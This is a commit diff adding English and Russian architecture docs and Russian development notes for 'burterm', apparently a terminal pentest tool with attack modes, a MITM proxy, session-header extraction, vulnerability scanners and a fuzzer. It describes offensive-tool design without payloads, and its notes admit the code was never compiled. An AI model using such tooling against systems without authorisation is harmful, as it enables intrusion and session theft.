Beta
This commit is contained in:
parent
9031af4311
commit
8b3832821e
52 changed files with 11255 additions and 0 deletions
197
ARCHITECTURE.md
Normal file
197
ARCHITECTURE.md
Normal file
|
|
@ -0,0 +1,197 @@
|
|||
# burterm Architecture
|
||||
|
||||
Русская версия: [ARCHITECTURE.ru.md](ARCHITECTURE.ru.md).
|
||||
Design history, bugs found, and reliability caveats (Russian only): [NOTES.md](NOTES.md).
|
||||
|
||||
## Overview
|
||||
|
||||
burterm is a terminal tool for web pentesting, bug bounty, and CTF work:
|
||||
a single static Go binary, 13 TUI tabs, and a headless CLI mode running on
|
||||
the same engine. Builds without cgo.
|
||||
|
||||
```
|
||||
cmd/burterm/ entry point: CLI flags or TUI launch
|
||||
internal/
|
||||
engine/ Intruder core: markers, attacks, filters
|
||||
payload/ payload generators
|
||||
cli/ flag and payload-spec parsing
|
||||
proxy/ MITM proxy
|
||||
spider/ crawler
|
||||
sitemap/ scope rules, site tree
|
||||
scanner/ active/passive vulnerability checks
|
||||
fuzzer/ blackbox binary fuzzer
|
||||
project/ session storage (SQLite+FTS5)
|
||||
decoder/ comparer/ sequencer/ utilities
|
||||
tui/ interface (bubbletea)
|
||||
```
|
||||
|
||||
## General principles
|
||||
|
||||
- **Async I/O via `tea.Cmd`/`tea.Msg`.** The TUI follows the Elm
|
||||
architecture: `Update(msg) (Model, Cmd)`. Any side effect (network,
|
||||
disk, timer) is a `tea.Cmd` — a zero-argument function returning a
|
||||
`tea.Msg`, run by the framework in its own goroutine. `Update` never
|
||||
blocks on I/O.
|
||||
- **Streaming operations go through channels.** Intruder attacks,
|
||||
Scanner, Spider, Fuzzer all stream results via `<-chan T`. Shared
|
||||
pattern: a producer goroutine writes via `select` with `<-ctx.Done()`;
|
||||
the TUI reads via `waitForXxx(ch) tea.Cmd`, which reissues itself after
|
||||
every message.
|
||||
- **Values are snapshotted out of the model before a `tea.Cmd` runs in the
|
||||
background** — the closure never holds a reference to a model that may
|
||||
have already changed by the time the command executes.
|
||||
|
||||
## internal/engine — Intruder core
|
||||
|
||||
- `§markers§` in a raw HTTP request mark payload insertion points.
|
||||
`ParseMarkers` extracts them into `[]InsertionPoint{Start, End}` (byte
|
||||
offsets into the cleaned string) and returns marker-free text.
|
||||
`InsertBeforeMarker` inserts arbitrary text right before the Nth
|
||||
marker — used by recursion (see below).
|
||||
- `BuildRequest` substitutes payloads and parses the result into
|
||||
`*http.Request` via `http.ReadRequest`.
|
||||
- Four attack modes: `RunSniper`, `RunBattering`, `RunPitchfork`,
|
||||
`RunClusterBomb` — a shared worker pool reading jobs from a channel.
|
||||
Pitchfork/ClusterBomb use `drainGenerator`, which reads a generator
|
||||
fully into memory before starting.
|
||||
- `EstimateTotal` computes the expected request count from generators'
|
||||
`Len()` before the attack starts — powers the TUI's progress indicator.
|
||||
- `ParseStatusFilter`/`ParseLengthFilter`/`ParseWordFilter`/
|
||||
`ParseLineFilter` share a common operator syntax (`>N`, `<N`, `N-M`,
|
||||
exact number) through one internal parser, `parseIntRangeFilter`.
|
||||
- `New(cfg)` configures `http.Transport` with `MaxIdleConnsPerHost:
|
||||
cfg.Concurrency` for connection reuse under concurrent requests to the
|
||||
same host.
|
||||
|
||||
## internal/payload — payload generators
|
||||
|
||||
The `Generator` interface (`Next`/`Reset`/`Len`). Implementations:
|
||||
`WordlistGenerator`, `NumericRangeGenerator`, `BruteForceGenerator`
|
||||
(alphabet enumeration up to a given length), `ExtensionGenerator` (wraps
|
||||
any generator, appending extensions to each word —
|
||||
`spec|ext:.php,.html`). `presets.go` holds built-in presets (numbers,
|
||||
letters, common usernames/passwords, SQLi/XSS/path-traversal probes).
|
||||
`smart.go` is the heuristic that suggests a preset based on the parameter
|
||||
name near a marker.
|
||||
|
||||
## internal/cli — CLI flags
|
||||
|
||||
`ParsePayloadSpec` parses strings like `wordlist:<path>` /
|
||||
`range:<from>:<to>:<step>` / `preset:<name>` / `brute:<alphabet>:<min>:<max>`,
|
||||
with an optional `|ext:...` suffix. Used by both the headless mode
|
||||
(`cmd/burterm`) and the TUI — a single shared grammar.
|
||||
|
||||
## internal/proxy — MITM proxy
|
||||
|
||||
- `Server` is a forward proxy doing MITM via a self-owned CA (`ca.go`,
|
||||
generated under `~/.burterm` on first run), a `CONNECT` tunnel with
|
||||
`tls.Server`, and on-the-fly leaf certificate issuance keyed by SNI.
|
||||
- Each transaction is an `Entry{Raw, StatusCode, Length, Headers,
|
||||
ResponseBody, ...}` in a thread-safe `Store` (`sync.Mutex`,
|
||||
subscription to new entries via a channel).
|
||||
- `Server.SetScope(*sitemap.Scope)` under a `sync.RWMutex` — if set,
|
||||
`capture`/`captureErr` skip storing entries outside scope. The proxy
|
||||
still serves traffic regardless of scope.
|
||||
- `session.go`: `ExtractSessionHeaders(entries, host)` pulls
|
||||
`Cookie`/`Authorization` out of the history for a specific host
|
||||
(parsed from `Entry.Raw`).
|
||||
|
||||
## internal/spider — crawler
|
||||
|
||||
`Spider.Crawl` does a BFS walk bounded by `scope *url.URL` and
|
||||
`maxDepth`. `extractLinksAndForms` parses HTML, pulling out links and
|
||||
form descriptions. GET forms (`Method=="GET"`) are automatically
|
||||
converted into URLs with `test` placeholders per field and queued
|
||||
(`buildGetFormURL`); POST forms are skipped. `SetHeaders` sets headers
|
||||
applied to every crawl request — used to carry session
|
||||
Cookie/Authorization from Proxy.
|
||||
|
||||
## internal/sitemap — scope and site tree
|
||||
|
||||
`Scope` is an ordered list of include/exclude regex rules
|
||||
(`Add`/`RemoveAt`/`Matches`/`Rules`). `Tree`/`Node`/`Endpoint` is a site
|
||||
path tree, built from a stream of URLs via `Build`, exportable to JSON.
|
||||
|
||||
## internal/scanner — vulnerability checks
|
||||
|
||||
- `Check` is the active-check interface (`Name`/`Probes`/`Analyze`),
|
||||
substituting payloads into one insertion point via the same
|
||||
`engine.BuildRequest` Intruder uses. Implementations: SQLi, XSS
|
||||
(reflected, with a unique canary), SSTI, LFI, RCE (time-based), SSRF,
|
||||
XXE.
|
||||
- `Scanner.Run` returns a channel of `Event{Kind:
|
||||
EventProgress|EventFinding}` — progress and findings in one stream.
|
||||
- `CheckCORS` is a one-off check via the `Origin` header (doesn't fit
|
||||
the `Check` interface since it doesn't operate through a marker).
|
||||
- `DecodeJWT`/`AlgNoneVariant` parse a JWT and generate an unsigned
|
||||
variant for bypass testing.
|
||||
|
||||
## internal/fuzzer — binary fuzzer
|
||||
|
||||
A blackbox mutation fuzzer for an arbitrary executable (CTF pwn).
|
||||
`Config{Target, Args, UseStdin, Timeout, Workers, CrashDir}`. Mutations
|
||||
(`mutate.go`): bit-flip, byte-flip, arithmetic, interesting values,
|
||||
block delete/duplicate, splice, `havoc` (several mutations chained in
|
||||
one pass). Crashes are detected via the process's exit signal
|
||||
(`SIGSEGV`/`SIGABRT`/`SIGFPE`/`SIGILL`/`SIGBUS`) through
|
||||
`syscall.WaitStatus`. `Run` returns a channel of `Event{Kind:
|
||||
EventProgress|EventCrash}`; each worker is an independent goroutine with
|
||||
its own `rand.Source`.
|
||||
|
||||
## internal/project — session storage
|
||||
|
||||
SQLite (`modernc.org/sqlite`, no cgo) with an FTS5 index in
|
||||
external-content mode (text stored once in `requests`, `requests_fts`
|
||||
holds only the inverted index), kept in sync via
|
||||
`INSERT`/`UPDATE`/`DELETE` triggers. `Store.Open` sets
|
||||
`db.SetMaxOpenConns(1)`. `ParseQuery` is a search mini-language
|
||||
(`host:… method:… status:… color:… text`) — recognized `key:value`
|
||||
tokens go into structured SQL, everything else into an FTS5 `MATCH`.
|
||||
`SaveMeta`/`LoadMeta` store arbitrary key-value pairs (used for Target's
|
||||
scope rules). `SaveLastPath`/`LoadLastPath` keep the path of the last
|
||||
opened project outside the database itself
|
||||
(`~/.burterm/last-project`).
|
||||
|
||||
## internal/decoder, comparer, sequencer
|
||||
|
||||
`decoder` — URL/Base64/HTML/Hex/MD5 codecs plus an auto-detect chain.
|
||||
`comparer` — token-level LCS diff. `sequencer` — FIPS 140-2 statistical
|
||||
tests (monobit/poker/runs/long-run) on 20000-bit blocks.
|
||||
|
||||
## internal/tui — interface
|
||||
|
||||
- `Model` (`model.go`) is the root model; the `active view` field
|
||||
determines the visible tab. `Update` delegates unhandled messages to
|
||||
the active tab.
|
||||
- Each tab has its own `xxxModel` in a separate file
|
||||
(`requestbuilder.go`, `results.go`, `proxyview.go`, `repeater.go`,
|
||||
`spiderview.go`, `targetview.go`, `decoderview.go`, `comparerview.go`,
|
||||
`sequencerview.go`, `dashboardview.go`, `scannerview.go`,
|
||||
`projectview.go`, `fuzzerview.go`), with
|
||||
`Update(tea.Msg) (xxxModel, tea.Cmd)` and `View() string` methods.
|
||||
- `theme.go` — the color palette, `panel()` (a bordered box with a title,
|
||||
via `lipgloss.RoundedBorder`), `renderTabs()` (the tab bar with the
|
||||
active tab filled in), `renderLogo()`.
|
||||
- `results.go` caches compiled filter predicates (`recompileFilters`),
|
||||
accumulates filtered output into a `strings.Builder` incrementally
|
||||
(`AddResult`), and renders into the `viewport` on a throttled 300ms
|
||||
timer (`resultsTickCmd`), only for the attack currently visible.
|
||||
- `attacks []*attackRun` is a list of independent concurrent attacks,
|
||||
each with its own `id`/channel/`cancel`/`resultsModel`.
|
||||
- `recursionMeta` holds the parameters for Intruder's auto-recursion
|
||||
into discovered directories: request template, insertion point,
|
||||
payload specs, depth, status predicate.
|
||||
- Messages follow the `xxxStartedMsg`/`xxxResultMsg`/`xxxDoneMsg`/
|
||||
`xxxErrMsg` pattern for every long-running operation.
|
||||
|
||||
## On-disk storage
|
||||
|
||||
Everything lives under `~/.burterm/`: `ca.pem`/`ca-key.pem` (the MITM
|
||||
CA), `last-project` (path of the last project), `fuzz-crashes/<unix>/`
|
||||
(fuzzer crash inputs), `sitemap-<unix>.json` (site map export).
|
||||
|
||||
## Running modes
|
||||
|
||||
The TUI (no arguments) and the headless CLI (`-request`/`-payload`/
|
||||
`-mode` etc., see `internal/cli/flags.go`) both run on the same
|
||||
`internal/engine` — CI/scripting scenarios don't duplicate attack logic.
|
||||
193
ARCHITECTURE.ru.md
Normal file
193
ARCHITECTURE.ru.md
Normal file
|
|
@ -0,0 +1,193 @@
|
|||
# Архитектура burterm
|
||||
|
||||
English version: [ARCHITECTURE.md](ARCHITECTURE.md).
|
||||
История решений, найденные баги и оговорки по надёжности — в [NOTES.md](NOTES.md).
|
||||
|
||||
## Обзор
|
||||
|
||||
burterm — терминальный инструмент для веб-пентеста, bug bounty и CTF: один
|
||||
статический Go-бинарник, 13 вкладок TUI и headless CLI-режим на том же
|
||||
движке. Сборка без cgo.
|
||||
|
||||
```
|
||||
cmd/burterm/ точка входа: CLI-флаги или запуск TUI
|
||||
internal/
|
||||
engine/ ядро Intruder: маркеры, атаки, фильтры
|
||||
payload/ генераторы payload'ов
|
||||
cli/ разбор флагов и payload-спецификаций
|
||||
proxy/ MITM-прокси
|
||||
spider/ краулер
|
||||
sitemap/ scope-правила, дерево сайта
|
||||
scanner/ активные/пассивные проверки уязвимостей
|
||||
fuzzer/ blackbox-фаззер бинарников
|
||||
project/ хранилище сессии (SQLite+FTS5)
|
||||
decoder/ comparer/ sequencer/ утилиты
|
||||
tui/ интерфейс (bubbletea)
|
||||
```
|
||||
|
||||
## Общие принципы
|
||||
|
||||
- **Асинхронный I/O через `tea.Cmd`/`tea.Msg`.** TUI построен на архитектуре
|
||||
Elm: `Update(msg) (Model, Cmd)`. Любой побочный эффект (сеть, диск,
|
||||
таймер) — это `tea.Cmd`, функция без аргументов, возвращающая `tea.Msg`,
|
||||
выполняемая фреймворком в отдельной горутине. `Update` никогда не
|
||||
блокируется на I/O.
|
||||
- **Потоковые операции — через каналы.** Intruder-атаки, Scanner, Spider,
|
||||
Fuzzer стримят результаты через `<-chan T`. Общий паттерн: горутина-продюсер
|
||||
пишет в канал через `select` с `<-ctx.Done()`; TUI читает через
|
||||
`waitForXxx(ch) tea.Cmd`, переиздающий себя после каждого сообщения.
|
||||
- **Значения снимаются с модели до ухода `tea.Cmd` в фон** — замыкание не
|
||||
держит ссылку на модель, которая может измениться до того, как команда
|
||||
выполнится.
|
||||
|
||||
## internal/engine — ядро Intruder
|
||||
|
||||
- `§маркеры§` в сыром HTTP-запросе отмечают точки вставки payload'а.
|
||||
`ParseMarkers` вычленяет их в `[]InsertionPoint{Start, End}` (байтовые
|
||||
смещения в очищенной строке) и возвращает текст без маркеров.
|
||||
`InsertBeforeMarker` вставляет произвольный текст перед N-м маркером —
|
||||
используется рекурсией (см. ниже).
|
||||
- `BuildRequest` подставляет payload'ы и парсит результат в `*http.Request`
|
||||
через `http.ReadRequest`.
|
||||
- Четыре режима атаки: `RunSniper`, `RunBattering`, `RunPitchfork`,
|
||||
`RunClusterBomb` — общий пул воркеров, читающих задания из канала.
|
||||
Pitchfork/ClusterBomb используют `drainGenerator`, вычитывающий генератор
|
||||
целиком в память перед стартом.
|
||||
- `EstimateTotal` считает ожидаемое число запросов по `Len()` генераторов до
|
||||
старта атаки — для индикации прогресса в TUI.
|
||||
- `ParseStatusFilter`/`ParseLengthFilter`/`ParseWordFilter`/`ParseLineFilter`
|
||||
— общий синтаксис (`>N`, `<N`, `N-M`, точное число) через один внутренний
|
||||
парсер `parseIntRangeFilter`.
|
||||
- `New(cfg)` настраивает `http.Transport` с `MaxIdleConnsPerHost:
|
||||
cfg.Concurrency` для переиспользования соединений при конкурентных
|
||||
запросах к одному хосту.
|
||||
|
||||
## internal/payload — генераторы payload'ов
|
||||
|
||||
Интерфейс `Generator` (`Next`/`Reset`/`Len`). Реализации:
|
||||
`WordlistGenerator`, `NumericRangeGenerator`, `BruteForceGenerator`
|
||||
(перебор алфавита заданной длины), `ExtensionGenerator` (оборачивает любой
|
||||
генератор, добавляя расширения к каждому слову — `spec|ext:.php,.html`).
|
||||
`presets.go` — набор готовых заготовок (числа, буквы, частые
|
||||
имена/пароли, SQLi/XSS/path-traversal пробники). `smart.go` — эвристика
|
||||
подсказки заготовки по имени параметра рядом с маркером.
|
||||
|
||||
## internal/cli — CLI-флаги
|
||||
|
||||
`ParsePayloadSpec` разбирает строки вида `wordlist:<путь>` /
|
||||
`range:<from>:<to>:<step>` / `preset:<имя>` / `brute:<алфавит>:<min>:<max>`,
|
||||
с необязательным суффиксом `|ext:...`. Используется и headless-режимом
|
||||
(`cmd/burterm`), и TUI — единая грамматика.
|
||||
|
||||
## internal/proxy — MITM-прокси
|
||||
|
||||
- `Server` — форвардный прокси с MITM через собственный CA (`ca.go`,
|
||||
генерируется в `~/.burterm` при первом запуске), `CONNECT`-туннель с
|
||||
`tls.Server` и динамическим выпуском листовых сертификатов по SNI.
|
||||
- Каждая транзакция — `Entry{Raw, StatusCode, Length, Headers,
|
||||
ResponseBody, ...}` в потокобезопасном `Store` (`sync.Mutex`,
|
||||
подписка на новые записи через канал).
|
||||
- `Server.SetScope(*sitemap.Scope)` под `sync.RWMutex` — если задан,
|
||||
`capture`/`captureErr` пропускают запись в `Store` для запросов вне
|
||||
scope. Сам трафик прокси обслуживает независимо от scope.
|
||||
- `session.go`: `ExtractSessionHeaders(entries, host)` вытаскивает
|
||||
`Cookie`/`Authorization` из истории для конкретного хоста (парсит их из
|
||||
`Entry.Raw`).
|
||||
|
||||
## internal/spider — краулер
|
||||
|
||||
`Spider.Crawl` — BFS-обход в границах `scope *url.URL` и `maxDepth`.
|
||||
`extractLinksAndForms` парсит HTML, извлекает ссылки и описания форм.
|
||||
GET-формы (`Method=="GET"`) автоматически конвертируются в URL с
|
||||
заглушками `test` на каждое поле и добавляются в очередь обхода
|
||||
(`buildGetFormURL`); POST-формы пропускаются. `SetHeaders` задаёт
|
||||
заголовки для каждого запроса обхода — используется для передачи
|
||||
сессионных Cookie/Authorization из Proxy.
|
||||
|
||||
## internal/sitemap — scope и дерево сайта
|
||||
|
||||
`Scope` — упорядоченный список include/exclude regex-правил
|
||||
(`Add`/`RemoveAt`/`Matches`/`Rules`). `Tree`/`Node`/`Endpoint` — дерево
|
||||
путей сайта, строится из потока URL через `Build`, экспортируется в JSON.
|
||||
|
||||
## internal/scanner — проверки уязвимостей
|
||||
|
||||
- `Check` — интерфейс активной проверки (`Name`/`Probes`/`Analyze`),
|
||||
подставляет payload'ы в одну точку вставки через ту же
|
||||
`engine.BuildRequest`, что и Intruder. Реализации: SQLi, XSS (reflected,
|
||||
с уникальной канарейкой), SSTI, LFI, RCE (time-based), SSRF, XXE.
|
||||
- `Scanner.Run` возвращает канал `Event{Kind: EventProgress|EventFinding}`
|
||||
— прогресс и находки в одном потоке.
|
||||
- `CheckCORS` — одноразовая проверка через заголовок `Origin` (не
|
||||
вписывается в интерфейс `Check`, так как не работает через маркер).
|
||||
- `DecodeJWT`/`AlgNoneVariant` — разбор JWT и генерация варианта без
|
||||
подписи для проверки обхода.
|
||||
|
||||
## internal/fuzzer — фаззер бинарников
|
||||
|
||||
Blackbox-мутационный фаззер произвольного исполняемого файла (CTF pwn).
|
||||
`Config{Target, Args, UseStdin, Timeout, Workers, CrashDir}`. Мутации
|
||||
(`mutate.go`): bit-flip, byte-flip, arithmetic, interesting values, block
|
||||
delete/duplicate, splice, `havoc` (комбинация нескольких мутаций за
|
||||
проход). Краш определяется по сигналу завершения процесса
|
||||
(`SIGSEGV`/`SIGABRT`/`SIGFPE`/`SIGILL`/`SIGBUS`) через
|
||||
`syscall.WaitStatus`. `Run` возвращает канал `Event{Kind:
|
||||
EventProgress|EventCrash}`, каждый воркер — независимая горутина со своим
|
||||
`rand.Source`.
|
||||
|
||||
## internal/project — хранилище сессии
|
||||
|
||||
SQLite (`modernc.org/sqlite`, без cgo) с FTS5-индексом в режиме external
|
||||
content (текст хранится один раз в `requests`, `requests_fts` держит
|
||||
только инвертированный индекс), синхронизация через триггеры
|
||||
`INSERT`/`UPDATE`/`DELETE`. `Store.Open` ставит `db.SetMaxOpenConns(1)`.
|
||||
`ParseQuery` — мини-язык поиска (`host:… method:… status:… color:… текст`)
|
||||
— известные `key:value`-токены уходят в структурированный SQL, остальное
|
||||
— в FTS5 `MATCH`. `SaveMeta`/`LoadMeta` — произвольные key-value записи
|
||||
(используется для scope-правил Target). `SaveLastPath`/`LoadLastPath` —
|
||||
путь последнего открытого проекта хранится вне самой БД
|
||||
(`~/.burterm/last-project`).
|
||||
|
||||
## internal/decoder, comparer, sequencer
|
||||
|
||||
`decoder` — кодеки URL/Base64/HTML/Hex/MD5 и цепочка автоопределения.
|
||||
`comparer` — токенный LCS-diff. `sequencer` — статистические тесты FIPS
|
||||
140-2 (monobit/poker/runs/long-run) на 20000-битных блоках.
|
||||
|
||||
## internal/tui — интерфейс
|
||||
|
||||
- `Model` (`model.go`) — корневая модель, поле `active view` определяет
|
||||
видимую вкладку. `Update` делегирует необработанные сообщения активной
|
||||
вкладке.
|
||||
- Каждая вкладка — своя `xxxModel` в отдельном файле
|
||||
(`requestbuilder.go`, `results.go`, `proxyview.go`, `repeater.go`,
|
||||
`spiderview.go`, `targetview.go`, `decoderview.go`, `comparerview.go`,
|
||||
`sequencerview.go`, `dashboardview.go`, `scannerview.go`,
|
||||
`projectview.go`, `fuzzerview.go`), с методами
|
||||
`Update(tea.Msg) (xxxModel, tea.Cmd)` и `View() string`.
|
||||
- `theme.go` — палитра, `panel()` (рамка с заголовком через
|
||||
`lipgloss.RoundedBorder`), `renderTabs()` (таб-бар с заливкой активной
|
||||
вкладки), `renderLogo()`.
|
||||
- `results.go` — кэширует скомпилированные предикаты фильтров
|
||||
(`recompileFilters`), копит отфильтрованный вывод в `strings.Builder`
|
||||
инкрементально (`AddResult`), рендерит во `viewport` дросселированно по
|
||||
таймеру `resultsTickCmd` (раз в 300мс), только для видимой атаки.
|
||||
- `attacks []*attackRun` — список независимых параллельных атак, каждая
|
||||
со своим `id`/каналом/`cancel`/`resultsModel`.
|
||||
- `recursionMeta` — параметры авто-рекурсии Intruder в найденные
|
||||
директории: шаблон запроса, точка вставки, спецификации payload'ов,
|
||||
глубина, предикат статусов.
|
||||
- Сообщения именуются по паттерну `xxxStartedMsg`/`xxxResultMsg`/
|
||||
`xxxDoneMsg`/`xxxErrMsg` для каждой длительной операции.
|
||||
|
||||
## Хранение на диске
|
||||
|
||||
Всё под `~/.burterm/`: `ca.pem`/`ca-key.pem` (MITM CA), `last-project`
|
||||
(путь последнего проекта), `fuzz-crashes/<unix>/` (крашащие вводы
|
||||
фаззера), `sitemap-<unix>.json` (экспорт карты сайта).
|
||||
|
||||
## Режимы запуска
|
||||
|
||||
TUI (без аргументов) и headless CLI (`-request`/`-payload`/`-mode` и
|
||||
т.д., см. `internal/cli/flags.go`) используют один и тот же
|
||||
`internal/engine` — сценарии CI/скриптов не дублируют логику атаки.
|
||||
236
NOTES.md
Normal file
236
NOTES.md
Normal file
|
|
@ -0,0 +1,236 @@
|
|||
# Заметки по разработке burterm
|
||||
|
||||
Чистое описание архитектуры — в [ARCHITECTURE.ru.md](ARCHITECTURE.ru.md).
|
||||
|
||||
Этот файл — то, что не годится в ARCHITECTURE, потому что описывает не
|
||||
«как устроено», а «почему так вышло» и «на что обратить внимание». Весь
|
||||
код писался в среде без сети и без установленного Go — ни разу не
|
||||
проходил через компилятор.
|
||||
|
||||
## Реальные баги, найденные и исправленные по ходу разработки
|
||||
|
||||
Не гипотетические — конкретные, с объяснением, как нашлись.
|
||||
|
||||
- **UTF-8 в `§маркерах§`.** Маркер `§` (U+00A7) — два байта в UTF-8
|
||||
(`0xC2 0xA7`). Самая ранняя версия `ParseMarkers` сравнивала байты
|
||||
напрямую и детектила маркер только по второму байту, оставляя первый
|
||||
(`0xC2`) мусором в очищенной строке. Баг жил с первого черновика,
|
||||
найден при разработке `DetectParamName` (умные заготовки payload'ов).
|
||||
Исправлено: сканирование через `range` по рунам.
|
||||
- **O(N²) в Results.** `resultsModel` на каждый входящий результат атаки
|
||||
заново парсил текст всех полей фильтра и пересобирал весь список
|
||||
отфильтрованных строк через `strings.Join`. На словаре в миллион строк
|
||||
это останавливало TUI намертво. Исправлено тремя механизмами:
|
||||
кэшированные предикаты (парсятся один раз при изменении текста поля, а
|
||||
не на каждый результат), инкрементальный `strings.Builder` вместо
|
||||
пересборки списка, дросселированный рендер во `viewport` по таймеру
|
||||
раз в 300мс — и только для той атаки, что видна на экране.
|
||||
- **`MaxIdleConnsPerHost` — баг с самого начала, не только для больших
|
||||
словарей.** Голый `http.Transport` даёт дефолт 2 соединения на хост.
|
||||
При `Concurrency > 2` (а дефолт формы — 10) большинство воркеров
|
||||
закрывало и переоткрывало TCP/TLS-соединение на каждый запрос вместо
|
||||
переиспользования из пула. Исправлено в `engine.New` и в
|
||||
`spider.New` (там клиент был вообще голый — Transport==nil, то есть
|
||||
неявно общий пакетный `http.DefaultTransport`).
|
||||
- **Прокси не читал тело ответа.** Изначальная версия сохраняла только
|
||||
заголовки/статус — без тела полнотекстовый поиск по Project был бы
|
||||
пустым обещанием. Исправлено: `io.ReadAll` полного тела, капированная
|
||||
копия (8КБ) для хранения, `resp.Body` восстанавливается через
|
||||
`io.NopCloser` перед `resp.Write()` (тело можно прочитать только один
|
||||
раз).
|
||||
- **Утечка горутин при параллельных атаках.** Изначально `Model` хранила
|
||||
один `resultsCh`/`cancel` на всё приложение — вторая атака без
|
||||
дожидания первой тихо переключала отслеживание, а горутины первой
|
||||
оставались писать в канал, который больше никто не читает
|
||||
(небуферизованный канал — блокировка навечно). Исправлено переходом
|
||||
на `[]*attackRun` (независимые атаки) и на `select` с `ctx.Done()` при
|
||||
записи в `out` внутри `engine.send()`.
|
||||
- **`proxyModel.SetSize` вообще не резервировал место под собственные
|
||||
заголовок/футер.** `View()` всегда рисует "Перехвачено: N" + пустую
|
||||
строку сверху и пустую строку + строку подсказки снизу — 4 строки
|
||||
сверх `viewport`, а `SetSize` отдавал `viewport.Height` всю
|
||||
переданную высоту без остатка. Из-за этого вкладка Proxy стабильно
|
||||
вылезала за экран независимо от того, сколько высоты ей давал
|
||||
`model.go` — сам бюджет внутри файла никогда не учитывал собственный
|
||||
хром. Найдено построчным разбором `View()`, а не подбором чисел
|
||||
снаружи. Исправлено вычитанием фиксированных 4 строк внутри
|
||||
`SetSize`.
|
||||
- **`comparerModel`: `SetSize` считал раскладку A/B side-by-side (делит
|
||||
ширину пополам через `halfWidth`), а `View()` рисовал их друг под
|
||||
другом.** Из-за этого реальная высота была примерно вдвое больше
|
||||
того, что закладывал бюджет `diff.Height` — вкладка Comparer
|
||||
вылезала за экран независимо от общего бюджета высоты. Исправлено не
|
||||
подгонкой чисел, а починкой самого рассинхрона: `View()` теперь
|
||||
реально кладёт A и B рядом через `lipgloss.JoinHorizontal`, как и
|
||||
предполагала раскладка ширины с самого начала.
|
||||
- **Футер Dashboard врал про `pgup`/`pgdn`.** Подсказка гласила
|
||||
"pgup/pgdn — прокрутка", хотя после того как эти клавиши стали
|
||||
перехватываться глобально под переключение вкладок (см. раздел
|
||||
решений ниже), до `viewport` они больше не доходят и ничего не
|
||||
прокручивают. Текст поправлен на "↑/↓ — прокрутка".
|
||||
- **Бюджет высоты был неверен на 10 из 12 вкладок одновременно — и по
|
||||
двум независимым причинам.** Первая: строки-подсказки в футере
|
||||
доходили до 200+ символов (`targetview.go` — 425 символов исходно с
|
||||
учётом экранирования, `repeater.go` — 219) — терминал переносил их
|
||||
сам, а высота этого переноса нигде не учитывалась. Исправлено
|
||||
разбиением каждого длинного футера на гарантированные 2 (иногда 3)
|
||||
строки: специфичные подсказки вкладки отдельно, общая навигация
|
||||
`f1-f12, pgup — вкладки` отдельно —
|
||||
так поместится в одну физическую строку почти на любом терминале, а
|
||||
не будет угадывания, перенесётся или нет. Вторая причина — независимая
|
||||
от первой: у нескольких вкладок константа вычитания была просто
|
||||
арифметически неверна **с самого начала**, до всей этой истории с
|
||||
футерами (Fuzzer: `-12` вместо нужных `-20`, Repeater: `-2` вместо
|
||||
`-8`, Decoder/Sequencer: `-4` вместо `-8`/`-6`, Spider/Project:
|
||||
`-6`/`-8` вместо `-11`). Обе причины нашлись только построчным
|
||||
подсчётом каждого `View()` — при этом подсчёте я сам дважды ошибся
|
||||
на лету (Decoder сначала посчитал 5 вместо верных 8) и пересчитывал
|
||||
заново. Итоговые числа для всех 12 файлов сведены в одну таблицу для
|
||||
сверки:
|
||||
```
|
||||
comparerview.go: diff.Height = height - inputHeight - 6
|
||||
dashboardview.go: vh = height - 3
|
||||
decoderview.go: output.Height = height - inHeight - 8
|
||||
fuzzerview.go: vh = height - 20 (минимум для "чистого" состояния)
|
||||
projectview.go: vh = height - 11
|
||||
proxyview.go: vh = height - 6 (плюс ещё -5 снаружи, в model.go, под "Прокси:...CA:...")
|
||||
repeater.go: response.Height = height - reqHeight - 8
|
||||
results.go: vh = height - 11 (плюс ещё -6 снаружи, в model.go, под заголовок атаки)
|
||||
scannerview.go: vh = height - taHeight - 15 - len(scanner.AllCheckNames())
|
||||
sequencerview.go: output.Height = height - inHeight - 6
|
||||
spiderview.go: vh = height - 11
|
||||
targetview.go: vh = height - 13
|
||||
```
|
||||
Request Builder сюда не входит — он не считает высоту `viewport` по
|
||||
фиксированному бюджету (сайзинг пропорциональный, `height/3`), так
|
||||
что этот класс бага его не касается, хотя длинный футер разбил и там
|
||||
для единообразия.
|
||||
- **Comparer вылезал за экран ещё дважды после починки JoinHorizontal**
|
||||
(сначала `-5`, потом `-6` — оба раза построчный подсчёт по коду
|
||||
казался верным, но на практике не сходилось). Рабочая гипотеза:
|
||||
`textarea.View()` (компонент bubbles), возможно, рендерит **не ровно**
|
||||
столько строк, сколько задано через `SetHeight` — то есть у неё есть
|
||||
какой-то собственный оверхед (рамка/индикатор/что-то ещё), которого
|
||||
нет в исходниках, доступных мне без реального терминала. Это касается
|
||||
не только Comparer — `Decoder`, `Repeater`, `Scanner`, `Request
|
||||
Builder` тоже используют `textarea` и МОГЛИ пострадать той же
|
||||
проблемой, просто не в такой явной форме (или ещё не протестированы
|
||||
так тщательно). Для Comparer вместо третьей попытки точного подсчёта
|
||||
поставлен солидный запас (`-12` вместо расчётных `6`, `inputHeight`
|
||||
урезан до `height/4`) — если и остальные текстовые вкладки продолжат
|
||||
вылезать за экран после всех починок из записи выше, это будет
|
||||
подтверждением гипотезы, и той же логике (запас вместо точного числа)
|
||||
нужно последовать и там.
|
||||
|
||||
## Непроверенные места (порядок — от вероятных проблем к маловероятным)
|
||||
|
||||
1. **`go.mod`: `modernc.org/sqlite v1.34.4`** — версия по памяти,
|
||||
`go mod tidy` может подтянуть другую, `go.sum` пересоберётся с нуля.
|
||||
2. **bubbles/bubbletea API** — `Focus()` у `textinput`/`textarea` в
|
||||
некоторых версиях возвращает `tea.Cmd`, в некоторых — нет; сигнатуры
|
||||
`spinner.Tick` могли измениться между версиями.
|
||||
3. **`exitErr.Sys().(syscall.WaitStatus)`** в `internal/fuzzer/fuzzer.go`
|
||||
— platform-specific type assertion, работает только на Unix.
|
||||
4. **Гонки данных, не проверенные race detector'ом.** Весь проект
|
||||
писался с оглядкой на конкурентный доступ (`sync.RWMutex` в
|
||||
`proxy.Server`, независимые снапшоты `sitemap.Scope`, `atomic` в
|
||||
счётчиках фаззера), но ни разу не прогонялся под `go test -race`.
|
||||
5. **`pgup`** (вкладка Fuzzer, единственная за пределами F1-F12 после
|
||||
выделения Steganography/аудио в отдельный проект stegterm) —
|
||||
четвёртая попытка навигации на вкладку, не влезающую в F1-F12
|
||||
(история первых трёх — в разделе решений ниже). PageUp кодируется
|
||||
терминалом так же атомарно, как F-клавиши (в отличие от Alt+буква,
|
||||
которая на практике расщепляется на ESC+символ) — по конструкции
|
||||
должен быть надёжнее, но конкретно в связке с Zellij ещё не
|
||||
подтверждён.
|
||||
|
